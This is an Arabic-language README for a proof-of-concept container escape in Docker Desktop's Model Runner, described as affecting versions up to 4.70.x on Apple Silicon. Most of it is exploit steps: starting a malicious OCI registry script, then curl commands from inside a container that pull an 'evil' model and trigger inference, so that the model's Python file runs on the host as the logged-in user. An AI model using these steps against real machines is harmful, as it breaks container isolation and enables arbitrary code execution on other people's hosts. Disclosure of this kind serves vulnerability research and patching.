
POC للهروب من حاوية Docker عبر mlx-metal importlib
سجل OCI بسيط يقدم نموذجًا خبيثًا لاستغلال مسار تنفيذ importlib الخاص بـ model_file في mlx-lm. عند تحميل Docker Model Runner للنموذج للاستدلال، يتم تنفيذ model.py على المضيف بصفة المستخدم المسجل دخوله.
يتطلب: Docker Desktop ≤ 4.70.x (Apple Silicon) مع تمكين Model Runner
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py
# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name":"localhost:5555/evil/model:latest"}'
curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
تتم كتابة المخرجات إلى ~/Desktop/mlx.txt على المضيف.
الشرح الكامل: https://davidrochester.com/posts/container-escape-via-inference
trust_remote_code=True، نفس سطح الهجوم، تم إصلاحه في Docker Desktop 4.68.0